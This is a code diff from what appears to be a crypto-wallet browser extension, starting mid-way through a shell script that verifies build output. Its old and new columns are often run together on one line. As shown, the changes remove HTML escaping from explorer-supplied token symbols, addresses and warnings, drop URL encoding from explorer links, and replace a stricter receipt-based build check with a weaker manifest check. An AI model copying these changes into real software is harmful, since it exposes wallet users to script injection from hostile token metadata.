# a file that would otherwise go unchecked.
parse_file_line() {
case "$1" in
"file "*) ;;
*)
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
not know what it means: ${1}. Refusing to report success."
;;
esac
_pl="${1#file }"
ENTRY_HASH="${_pl%% *}"
_pl="${_pl#* }"
ENTRY_FLAG="${_pl%% *}"
ENTRY_PATH="${_pl#* }"
case "$ENTRY_HASH" in
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
esac
[ "${#ENTRY_HASH}" -eq 64 ] ||
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
which is not a sha256: $1"
case "$ENTRY_FLAG" in
A | P) ;;
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
esac
case "$ENTRY_PATH" in
dist/*) ;;
*)
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
;;
esac
case "$ENTRY_PATH" in
*" "* | *"$TAB"* | *"$NEWLINE"*)
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
cannot be read back unambiguously from a line-oriented receipt: $1"
;;
esac
}
# Check one emitted file against its receipt entry: it must be a regular file
# with exactly the recorded bytes, and its debug marker must match what the
# caller said this build was.
check_entry() {
[ ! -h "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
build emits regular files only, so this is not the file it wrote. Refusing
to report success."
[ -f "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
not hold what the build emitted."
[ -s "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
carries no marker and matches no digest, so this is a failure and not a
pass."
read_sha256 "$ENTRY_PATH"
[ "$SHA" = "$ENTRY_HASH" ] ||
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
to dist/ after the build, so this artifact is not the one that was built."
if [ "$ENTRY_FLAG" = A ]; then
read_marker "$ENTRY_PATH"
[ "$MARKER" = "$EXPECT" ] ||
fail "$ENTRY_PATH is $MARKER but this build was told to expect
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
build, that is why: the flag still reaches the compiler, and this is the
check that stops the debug artifact being taken for a release one."
echo " ok: $ENTRY_PATH ($MARKER)"
AUDITED=$((AUDITED + 1))
else
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
fail "$ENTRY_PATH carries a debug marker but the build did not
record it as containing src/shared/constants.js. build.js selects audited
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
set means the test no longer describes what is emitted, and the DEBUG state
of this file was never asserted against anything."
fi
fi
COUNT=$((COUNT + 1))
}
# Walk the receipt line by line, applying $1 to each file entry. The header and
# the root line are checked on the way past; the root line is what stops a
# receipt written by a build of some other tree being pointed at this one.
walk_receipt() {
_wr_each="$1"
LINENO_R=0
_line=""
while IFS= read -r _line || [ -n "$_line" ]; do
LINENO_R=$((LINENO_R + 1))
if [ "$LINENO_R" -eq 1 ]; then
[ "$_line" = "$RECEIPT_HEADER" ] ||
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
is not a build receipt this script understands. Refusing to report
success."
continue
fi
if [ "$LINENO_R" -eq 2 ]; then
[ "$_line" = "root $ROOT" ] ||
fail "$RECEIPT was written by a build of a different tree: it
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
the tree it was built in."
continue
fi
parse_file_line "$_line"
"$_wr_each"
done <"$RECEIPT"
[ "$LINENO_R" -ge 2 ] ||
fail "$RECEIPT is truncated: it has no root line, so it is not a
receipt this script can check anything against."
}
# Pass one: the receipt has to be a receipt before anything is concluded from
# it. A line this script cannot read is a file that would go unchecked, and a
# receipt naming no audited bundle asserts no DEBUG state at all — both are
# failures, and both have to be established before the tree is walked against
# it, because a receipt entry that was misread would otherwise surface as a
# complaint about dist/.
count_entry() {
SHAPE_COUNT=$((SHAPE_COUNT + 1))
if [ "$ENTRY_FLAG" = A ]; then
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
fi
}
check_receipt_shape() {
SHAPE_COUNT=0
SHAPE_AUDITED=0
walk_receipt count_entry
[ "$SHAPE_COUNT" -gt 0 ] ||
fail "$RECEIPT names no emitted files, so nothing was inspected. A
build always emits some."
[ "$SHAPE_AUDITED" -gt 0 ] ||
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
no DEBUG state would be asserted at all. That is never correct, so it is a
failure and not a pass."
}
# Pass three: every file the receipt names, checked against the bytes on disk.
check_receipt_entries() {
walk_receipt check_entry
}
# --- the emitted tree -------------------------------------------------------
# The receipt says which files the build emitted. This says dist/ contains no
# others: an artifact that was added after the build, or that a hand-written
# dist/ brought with it, is not something the build vouches for and is not
# something this check may pass over.
# #
# The walk has to be exhaustive and every name has to survive it intact, so # Deliberately unfiltered by extension. build.js selects manifest entries with
# four things are enforced rather than assumed: # an endsWith(".js") test; repeating that literal here would mean a bundle
# emitted under some other extension escaped the manifest AND this check at
# once, which is the correlated blind spot the two-source design exists to
# avoid. Every regular file and every symlink under dist/ is searched — that
# is the whole of what a build emits — so build.js's filter is the only place
# the assumption lives and this check is what catches it being wrong.
#
# That claim only holds if the walk is exhaustive and every name survives it
# intact, so four things are enforced here rather than assumed:
# #
# - the walk is NUL-delimited and the paths reach the check as arguments, so # - the walk is NUL-delimited and the paths reach the check as arguments, so
# no name can be reshaped on the way in. Read line by line, a name with a # no name can be reshaped on the way in. Read line by line, a name with a
# trailing space lost it to read's field splitting and the remnant then # trailing space lost it to read's field splitting and the remnant then
# matched a listed path, and a name containing a newline arrived as a # matched a manifest line, and a name containing a newline arrived as a
# listed path plus an empty one. Both left an unchecked file in dist/ while # listed path plus an empty one. Both left a marker-carrying, unlisted file
# the script still reported success. # unchecked while the script still reported success. Delivering such a name
# intact is only half of it; is_listed also has to keep it out of grep's
# pattern, for the same reason.
# - find's exit status is checked. A subtree it cannot descend is reported on # - find's exit status is checked. A subtree it cannot descend is reported on
# stderr and then simply missing from the listing, so an unchecked status # stderr and then simply missing from the listing, so an unchecked status
# turns "could not look" into "nothing was there" — the same conflation # turns "could not look" into "nothing was there" — the same conflation
# has_marker exists to prevent. The status cannot be read off a pipeline, # has_marker exists to prevent. The status cannot be read off a pipeline,
# so the listing lands in a file that xargs then reads back. # so the listing lands in a file that xargs then reads back.
# - symlinks are walked too (-type l), not skipped. The build emits none, so # - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
# a symlink under dist/ is a path the build did not produce, whatever it # reachable under an unlisted path in dist/ is a stale manifest whether the
# points at, and it fails as one instead of being read through. # path is a link or a file, and grep reads through the link. A link that
# cannot be read through — dangling, or pointing at a directory — fails
# hard via has_marker's exit-2 path, which is the fail-closed answer: the
# build emits neither, so their DEBUG state is unproven, not fine.
# - dist/ itself must be a directory and not a symlink, which main asserts # - dist/ itself must be a directory and not a symlink, which main asserts
# before anything reads through it. find does not follow a symlink named on # before anything reads through it. find does not follow a symlink named on
# its own command line, so a linked dist/ collapses this walk to one entry # its own command line, so a linked dist/ collapses this walk to one entry
@@ -394,7 +181,7 @@ check_receipt_entries() {
# #
# Types other than regular files and symlinks are left out on purpose: a build # Types other than regular files and symlinks are left out on purpose: a build
# emits none of them, and grep on a fifo would hang rather than fail. # emits none of them, and grep on a fifo would hang rather than fail.
check_dist_tree() { check_unlisted_bundles() {
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" || LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
fail "could not create a temporary file for the dist/ listing, so the fail "could not create a temporary file for the dist/ listing, so the
tree was never walked. Refusing to report success." tree was never walked. Refusing to report success."
@@ -404,196 +191,105 @@ check_dist_tree() {
[ "$_find_status" -eq 0 ] || [ "$_find_status" -eq 0 ] ||
fail "find exited $_find_status enumerating dist/, so part of the tree fail "find exited $_find_status enumerating dist/, so part of the tree
was never walked and nothing was established about the files in it. Any was never walked and nothing was established about the files in it. Any
file the build did not emit could be sitting there unchecked. That is a unlisted bundle there went unchecked. That is a permissions or I/O fault on
permissions or I/O fault on the artifact. Refusing to report success." the artifact, not a stale manifest. Refusing to report success."
_scan_status=0 _scan_status=0
xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$? xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
[ "$_scan_status" -eq 0 ] || [ "$_scan_status" -eq 0 ] ||
fail "the dist/ tree scan exited $_scan_status: either a path under fail "the unlisted-bundle scan exited $_scan_status: either a path
dist/ failed the check reported above, or the scan could not be run at all. under dist/ failed the check reported above, or the scan could not be run
Refusing to report success." at all. Refusing to report success."
} }
# Does the receipt name the path $1? Compared as whole strings, never through # The per-path half of check_unlisted_bundles. It runs in a re-invocation of
# grep: a path found under dist/ is attacker-shaped input, and a pattern is not # this script, so it uses the same is_listed and has_marker as the rest of the
# the place to put one. The receipt's own paths are known to carry no # file rather than a second copy of them that could drift. Paths arrive as
# whitespace by the time this runs — verify_receipt failed the run otherwise — # arguments and are never split, joined or trimmed.
# so stripping the three leading fields recovers each one exactly.
receipt_names() {
_rn_want="$1"
_rn_line=""
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
case "$_rn_line" in
"file "*) ;;
*) continue ;;
esac
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
done <"$RECEIPT"
return 1
}
# The per-path half of check_dist_tree. It runs in a re-invocation of this
# script, so it uses the same helpers as the rest of the file rather than a
# second copy of them that could drift. Paths arrive as arguments and are never
# split, joined or trimmed.
scan_dist_paths() { scan_dist_paths() {
for _file in "$@"; do for _file in "$@"; do
if [ -h "$_file" ]; then if is_listed "$_file"; then
fail "$_file is a symlink under dist/. The build emits regular
files only, so this path is not something it produced, and what it points
at is not what was verified. Refusing to report success."
fi
if receipt_names "$_file"; then
continue continue
fi fi
fail "$_file is under dist/ but the build that just ran did not emit if has_marker "$MARKER_ON" "$_file" ||
it. dist/ must contain exactly what the build produced: an extra file there has_marker "$MARKER_OFF" "$_file"; then
is an artifact nothing vouches for, and shipping the directory ships it." fail "$_file carries a debug marker but is absent from $MANIFEST,
so the manifest no longer describes the emitted bundles."
fi
done done
} }
# --- arguments -------------------------------------------------------------- # The requested mode, read from our own environment using build.js's exact
# rule: only the literal 1 opts in. Deliberately not taken from anything
# The expected mode and the receipt are stated by the caller. Nothing is read # build.js records about itself, so build.js cannot vouch for build.js.
# from the environment, and there is no default for either. expected_marker() {
parse_args() { if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
while [ "$#" -gt 0 ]; do echo "$MARKER_ON"
case "$1" in else
--expect) echo "$MARKER_OFF"
[ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)." fi
set_expect "$2"
shift 2
;;
--expect=*)
set_expect "${1#--expect=}"
shift
;;
--receipt)
[ "$#" -ge 2 ] || fail "--receipt needs a path."
set_receipt "$2"
shift 2
;;
--receipt=*)
set_receipt "${1#--receipt=}"
shift
;;
*)
usage
fail "unknown argument: $1"
;;
esac
done
} }
set_expect() {
[ -z "$EXPECT" ] || fail "--expect given more than once."
case "$1" in
release) EXPECT="$MARKER_OFF" ;;
debug) EXPECT="$MARKER_ON" ;;
*) fail "--expect takes release or debug, not \"$1\"." ;;
esac
}
set_receipt() {
[ -z "$RECEIPT" ] || fail "--receipt given more than once."
[ -n "$1" ] || fail "--receipt was given an empty path."
# Resolved against the caller's directory, before main cd's to the repo
# root.
case "$1" in
/*) RECEIPT="$1" ;;
*) RECEIPT="$PWD/$1" ;;
esac
}
# --- main -------------------------------------------------------------------
main() { main() {
# Internal re-entry from check_dist_tree's xargs. Not part of the cd "$ROOT"
# Internal re-entry from check_unlisted_bundles' xargs. Not part of the
# command-line interface: nothing else invokes it, and it is a distinct # command-line interface: nothing else invokes it, and it is a distinct
# entry point rather than a mode flag threaded through the checks below. # entry point rather than a mode flag threaded through the checks below.
if [ "${1-}" = "$SCAN_FLAG" ]; then if [ "${1-}" = "$SCAN_FLAG" ]; then
shift shift
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
RECEIPT="$1"
shift
cd "$ROOT"
[ -r "$RECEIPT" ] ||
fail "$RECEIPT became unreadable during the run, so the dist/ tree
could not be checked against it. Refusing to report success."
scan_dist_paths "$@" scan_dist_paths "$@"
return 0 return 0
fi fi
parse_args "$@" expected="$(expected_marker)"
echo "Verifying emitted bundles (expecting $expected)..."
[ -n "$EXPECT" ] || {
usage
fail "no --expect argument. The mode this build was supposed to produce
has to be stated by whoever ran the build; it is not a default and it is
not read from AUTISTMASK_DEBUG in this script's environment, because an
operator with that exported would then have their debug build verified as
the release one they asked for."
}
[ -n "$RECEIPT" ] || {
usage
fail "no --receipt argument. The list of files to check comes from the
build that just ran, not from dist/: without it, a hand-written dist/ would
be verifying itself. make build and make build-debug pass one."
}
pick_sha256
cd "$ROOT"
# Asserted here rather than left to grep. A symlinked dist/ used to fail # Asserted here rather than left to grep. A symlinked dist/ used to fail
# only because GNU grep exits 2 on a directory, so the tree walk hit # only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
# has_marker's I/O path by luck; under a grep that exits 1 instead, the # single entry hit has_marker's I/O path by luck; under a grep that exits 1
# whole cross-check would have collapsed into a pass. # instead, the whole cross-check would have collapsed into a pass.
if [ -h dist ]; then if [ -h dist ]; then
fail "dist is a symlink, not a directory. find does not follow a fail "dist is a symlink, not a directory. find does not follow a
symlink named on its own command line, so the tree walk would see one entry symlink named on its own command line, so the unlisted-bundle cross-check
instead of the emitted tree and establish nothing about it. Refusing to would see one entry instead of the emitted tree and establish nothing about
report success." it. Refusing to report success."
fi fi
[ -d dist ] || [ -d dist ] ||
fail "dist is not a directory, so there is no emitted tree to verify. fail "dist is not a directory, so there is no emitted tree to verify.
build.js writes it; run make build first." build.js writes it; run make build first."
case "$RECEIPT" in [ -f "$MANIFEST" ] ||
"$ROOT/dist" | "$ROOT/dist/"*) fail "$MANIFEST is missing. build.js writes it at the end of a
fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in successful build; run make build first."
the tree it describes is rewritten by whoever rewrites the tree, and vouches [ -s "$MANIFEST" ] ||
for nothing. make build keeps it outside the repo." fail "$MANIFEST is empty, so no emitted bundle was found to contain
;; src/shared/constants.js. That is never correct, so it is a failure and not
esac a pass."
[ -r "$MANIFEST" ] ||
[ -e "$RECEIPT" ] || fail "$MANIFEST is not readable, so nothing was inspected. That is a
fail "$RECEIPT is missing. build.js writes it at the end of a
successful build; run make build rather than invoking this directly."
[ -f "$RECEIPT" ] ||
fail "$RECEIPT is not a regular file, so it is not a build receipt."
[ -s "$RECEIPT" ] ||
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
no account of what it emitted. build.js writes the receipt last, so an
empty one means the build did not finish."
[ -r "$RECEIPT" ] ||
fail "$RECEIPT is not readable, so nothing was inspected. That is a
permissions or I/O fault, not a pass." permissions or I/O fault, not a pass."
echo "Verifying emitted files against the build receipt (expecting" \ count=0
"$EXPECT)..." while read -r file; do
[ -n "$file" ] || continue
[ -f "$file" ] ||
fail "$MANIFEST lists $file, which does not exist."
[ -s "$file" ] ||
fail "$MANIFEST lists $file, which is empty. An empty bundle
carries no marker and proves nothing, so this is a failure and not a pass."
read_marker "$file"
[ "$MARKER" = "$expected" ] ||
fail "$file is $MARKER but this build expects $expected."
echo " ok: $file ($MARKER)"
count=$((count + 1))
done <"$MANIFEST"
# Order matters. The receipt has to be well-formed before it is used as an [ "$count" -gt 0 ] || fail "no bundles were inspected."
# expectation, and the tree has to be walkable in full before any single
# file in it is pronounced on: a subtree that cannot be descended makes
# every file under it look absent, and "could not look" must never be
# reported as "was not there".
check_receipt_shape
check_dist_tree
check_receipt_entries
echo "verify-build: $COUNT emitted file(s) verified against the receipt," \ check_unlisted_bundles
"$AUDITED bundle(s) $EXPECT"
echo "verify-build: $count bundle(s) verified $expected"
} }
main "$@" main "$@"

View File

@@ -1,4 +1,4 @@
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers"); const { $, showView, showFlash, goBack } = require("./helpers");
const { getTopTokens } = require("../../shared/tokenList"); const { getTopTokens } = require("../../shared/tokenList");
const { state, saveState } = require("../../shared/state"); const { state, saveState } = require("../../shared/state");
const { lookupTokenInfo } = require("../../shared/balances"); const { lookupTokenInfo } = require("../../shared/balances");
@@ -13,7 +13,7 @@ function show() {
list.innerHTML = getTopTokens(25) list.innerHTML = getTopTokens(25)
.map( .map(
(t) => (t) =>
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`, `<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
) )
.join(""); .join("");
list.querySelectorAll(".common-token").forEach((btn) => { list.querySelectorAll(".common-token").forEach((btn) => {

View File

@@ -6,7 +6,6 @@ const {
addressDotHtml, addressDotHtml,
addressTitle, addressTitle,
escapeHtml, escapeHtml,
displaySymbol,
truncateMiddle, truncateMiddle,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
@@ -222,12 +221,10 @@ function renderTransactions(txs) {
: tx.from; : tx.from;
const ensName = ensNameMap.get(counterparty) || null; const ensName = ensNameMap.get(counterparty) || null;
const title = addressTitle(counterparty, state.wallets); const title = addressTitle(counterparty, state.wallets);
// The explorer's method name for a contract call, title-cased. const dirLabel = tx.directionLabel;
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const amountStr = tx.value const amountStr = tx.value
? escapeHtml(tx.value + " " + sym) ? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(sym); : escapeHtml(tx.symbol);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10)); const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr = const displayAddr =
title || ensName || truncateMiddle(counterparty, maxAddr); title || ensName || truncateMiddle(counterparty, maxAddr);

View File

@@ -9,7 +9,6 @@ const {
addressDotHtml, addressDotHtml,
addressTitle, addressTitle,
escapeHtml, escapeHtml,
displaySymbol,
truncateMiddle, truncateMiddle,
balanceLine, balanceLine,
renderAddressHtml, renderAddressHtml,
@@ -125,11 +124,7 @@ function show() {
currentSymbol = symbol; currentSymbol = symbol;
$("address-token-title").textContent = $("address-token-title").textContent =
wallet.name + wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
" \u2014 Address " +
(ai + 1) +
" \u2014 " +
displaySymbol(symbol);
// Blockie // Blockie
const blockieEl = $("address-token-jazzicon"); const blockieEl = $("address-token-jazzicon");
@@ -179,9 +174,7 @@ function show() {
(knownToken && knownToken.symbol) || (knownToken && knownToken.symbol) ||
null; null;
const tokenName = rawName ? escapeHtml(rawName) : null; const tokenName = rawName ? escapeHtml(rawName) : null;
const tokenSymbol = rawSymbol const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
? escapeHtml(displaySymbol(rawSymbol))
: null;
const tokenDecimals = const tokenDecimals =
tb && tb.decimals != null tb && tb.decimals != null
? tb.decimals ? tb.decimals
@@ -295,12 +288,10 @@ function renderTransactions(txs) {
const counterparty = tx.direction === "sent" ? tx.to : tx.from; const counterparty = tx.direction === "sent" ? tx.to : tx.from;
const ensName = ensNameMap.get(counterparty) || null; const ensName = ensNameMap.get(counterparty) || null;
const title = addressTitle(counterparty, state.wallets); const title = addressTitle(counterparty, state.wallets);
// The explorer's method name for a contract call, title-cased. const dirLabel = tx.directionLabel;
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const amountStr = tx.value const amountStr = tx.value
? escapeHtml(tx.value + " " + sym) ? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(sym); : escapeHtml(tx.symbol);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10)); const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr = const displayAddr =
title || ensName || truncateMiddle(counterparty, maxAddr); title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -370,7 +361,7 @@ function init(_ctx) {
} }
// Hide dropdown, show static token display // Hide dropdown, show static token display
$("send-token").classList.add("hidden"); $("send-token").classList.add("hidden");
let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`; let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
if (tokenId !== "ETH") { if (tokenId !== "ETH") {
staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`; staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
} }

View File

@@ -10,7 +10,6 @@ const {
showView, showView,
addressTitle, addressTitle,
escapeHtml, escapeHtml,
displaySymbol,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
goBack, goBack,
@@ -58,7 +57,7 @@ function restore() {
function blockieHtml(address) { function blockieHtml(address) {
const src = makeBlockie(address); const src = makeBlockie(address);
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`; return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
} }
function confirmAddressHtml(address, ensName, title) { function confirmAddressHtml(address, ensName, title) {
@@ -82,11 +81,7 @@ function show(txInfo) {
feeWei = null; feeWei = null;
const isErc20 = txInfo.token !== "ETH"; const isErc20 = txInfo.token !== "ETH";
// The raw symbol is the price-table key; the capped one is what the const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
// screen says. Truncating before the lookup would silently drop the
// price of any token whose symbol is long enough to be capped.
const rawSymbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
const symbol = displaySymbol(rawSymbol);
// Transaction type // Transaction type
if (isErc20) { if (isErc20) {
@@ -128,7 +123,7 @@ function show(txInfo) {
// Amount (with inline USD) // Amount (with inline USD)
const ethPrice = getPrice("ETH"); const ethPrice = getPrice("ETH");
const tokenPrice = getPrice(rawSymbol); const tokenPrice = getPrice(symbol);
const amountNum = parseFloat(txInfo.amount); const amountNum = parseFloat(txInfo.amount);
const price = isErc20 ? tokenPrice : ethPrice; const price = isErc20 ? tokenPrice : ethPrice;
const amountUsd = price ? amountNum * price : null; const amountUsd = price ? amountNum * price : null;
@@ -161,12 +156,7 @@ function show(txInfo) {
warningsEl.innerHTML = localWarnings warningsEl.innerHTML = localWarnings
.map( .map(
(w) => (w) =>
// Only the three hardcoded strings in `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w.message}</div>`,
// src/shared/addressWarnings.js reach this today, but
// src/shared/etherscanLabels.js already builds a
// `warning` out of scraped explorer markup, so this is
// one wiring change away from carrying remote text.
`<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
) )
.join(""); .join("");
warningsEl.style.visibility = "visible"; warningsEl.style.visibility = "visible";
@@ -216,7 +206,7 @@ function show(txInfo) {
// touches already occupies its space, so re-running it never moves anything. // touches already occupies its space, so re-running it never moves anything.
function renderValidation(txInfo) { function renderValidation(txInfo) {
const isErc20 = txInfo.token !== "ETH"; const isErc20 = txInfo.token !== "ETH";
const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH"; const symbol = isErc20 ? txInfo.tokenSymbol || "?" : "ETH";
const { canSend, codes } = validateTransfer({ const { canSend, codes } = validateTransfer({
isErc20, isErc20,

View File

@@ -11,7 +11,6 @@ const {
$, $,
showView, showView,
showFlash, showFlash,
escapeHtml,
goBack, goBack,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
@@ -93,7 +92,7 @@ function balanceWarningHtml(addr) {
if (!addressHoldsFunds(addr)) return "&nbsp;"; if (!addressHoldsFunds(addr)) return "&nbsp;";
const line = formatAddressTotal(getAddressValue(addr)); const line = formatAddressTotal(getAddressValue(addr));
const total = line const total = line
? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>` ? `<div class="text-xs text-muted mt-1">${line}</div>`
: ""; : "";
return ( return (
`<p class="mb-1">This address holds a balance. Removing it does not ` + `<p class="mb-1">This address holds a balance. Removing it does not ` +

View File

@@ -1,22 +1,8 @@
// Shared DOM helpers used by all views. // Shared DOM helpers used by all views.
//
// Escaping rule for every view in this directory, since they all build
// markup by concatenation: any VALUE interpolated into an innerHTML string
// goes through escapeHtml(), whatever its provenance looks like today. The
// only interpolations left bare are markup FRAGMENTS this code just built
// (a rendered dot, an icon, a composed row), which escaping would turn into
// visible angle brackets, and locally computed numbers and loop indices.
// The distinction is meant to be greppable: an unescaped `${` next to a
// name that reads like data is a defect.
// escapeHtml lives in src/shared/html.js, where the escape and the
// reasoning behind it are; it is re-exported below so views keep importing
// it from here.
const { escapeHtml } = require("../../shared/html");
const { isDebug } = require("../../shared/log"); const { isDebug } = require("../../shared/log");
const { formatUsd, getPrice } = require("../../shared/prices"); const { formatUsd, getPrice } = require("../../shared/prices");
const { state, saveState, currentNetwork } = require("../../shared/state"); const { state, saveState, currentNetwork } = require("../../shared/state");
const { displaySymbol } = require("../../shared/symbolDisplay");
const { markViewRendered } = require("../viewRouter"); const { markViewRendered } = require("../viewRouter");
// When views are added, removed, or transitions between them change, // When views are added, removed, or transitions between them change,
@@ -191,26 +177,17 @@ function showFlash(msg, duration = 2000) {
}, duration); }, duration);
} }
// One row of the balance list: symbol, quantity, fiat value.
//
// `symbol` is the ERC-20's own symbol() as the block explorer reported it,
// so it is attacker-chosen markup until it has been through escapeHtml, and
// attacker-chosen length until it has been through displaySymbol. This is
// the row that issue #307 was reported against: every screen that lists a
// holding renders through here.
function balanceLine(symbol, amount, price, tokenId) { function balanceLine(symbol, amount, price, tokenId) {
const qty = amount.toFixed(4); const qty = amount.toFixed(4);
const usd = price ? formatUsd(amount * price) || "&nbsp;" : "&nbsp;"; const usd = price ? formatUsd(amount * price) || "&nbsp;" : "&nbsp;";
// tokenId is a contract address out of the same explorer JSON, and it const tokenAttr = tokenId ? ` data-token="${tokenId}"` : "";
// lands inside a quoted attribute.
const tokenAttr = tokenId ? ` data-token="${escapeHtml(tokenId)}"` : "";
const clickClass = tokenId const clickClass = tokenId
? " cursor-pointer hover:bg-hover balance-row" ? " cursor-pointer hover:bg-hover balance-row"
: ""; : "";
return ( return (
`<div class="flex text-xs${clickClass}"${tokenAttr}>` + `<div class="flex text-xs${clickClass}"${tokenAttr}>` +
`<span class="flex justify-between" style="width:42ch;max-width:100%">` + `<span class="flex justify-between" style="width:42ch;max-width:100%">` +
`<span>${escapeHtml(displaySymbol(symbol))}</span>` + `<span>${symbol}</span>` +
`<span>${qty}</span>` + `<span>${qty}</span>` +
`</span>` + `</span>` +
`<span class="text-right text-muted flex-1">${usd}</span>` + `<span class="text-right text-muted flex-1">${usd}</span>` +
@@ -312,6 +289,12 @@ function addressDotHtml(address) {
return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`; return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
} }
function escapeHtml(s) {
const div = document.createElement("div");
div.textContent = s;
return div.innerHTML;
}
// Look up an address across all wallets and return its title // Look up an address across all wallets and return its title
// (e.g. "Address 1.2") or null if it's not one of ours. // (e.g. "Address 1.2") or null if it's not one of ours.
function addressTitle(address, wallets) { function addressTitle(address, wallets) {
@@ -399,26 +382,13 @@ const EXT_ICON =
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` + `<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`; `</svg></span>`;
// Block-explorer URLs. The origin is a per-network constant from
// src/shared/networks.js; only the path segment is data, and it comes out
// of explorer JSON (a transaction's from/to, a token's address_hash), which
// nothing upstream validates as hex. percent-encoding it keeps a segment
// that contains a slash, a query or a fragment from re-pointing the link
// somewhere else in the explorer.
function explorerUrl(kind, value) {
return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
}
function etherscanAddressUrl(address) { function etherscanAddressUrl(address) {
return explorerUrl("address", address); return `${currentNetwork().explorerUrl}/address/${address}`;
} }
// The URL still has to be escaped on the way into href="...": encoding
// governs what the URL means, escaping governs whether it stays inside the
// attribute.
function etherscanLinkHtml(url) { function etherscanLinkHtml(url) {
return ( return (
`<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` + `<a href="${url}" target="_blank" rel="noopener" ` +
`class="inline-flex items-center">${EXT_ICON}</a>` `class="inline-flex items-center">${EXT_ICON}</a>`
); );
} }
@@ -522,7 +492,6 @@ module.exports = {
addressColor, addressColor,
addressDotHtml, addressDotHtml,
escapeHtml, escapeHtml,
displaySymbol,
addressTitle, addressTitle,
formatAddressHtml, formatAddressHtml,
renderAddressHtml, renderAddressHtml,
@@ -530,7 +499,6 @@ module.exports = {
attachCopyHandlers, attachCopyHandlers,
etherscanAddressUrl, etherscanAddressUrl,
etherscanLinkHtml, etherscanLinkHtml,
explorerUrl,
EXT_ICON, EXT_ICON,
truncateMiddle, truncateMiddle,
isoDate, isoDate,

View File

@@ -8,7 +8,6 @@ const {
addressDotHtml, addressDotHtml,
addressTitle, addressTitle,
escapeHtml, escapeHtml,
displaySymbol,
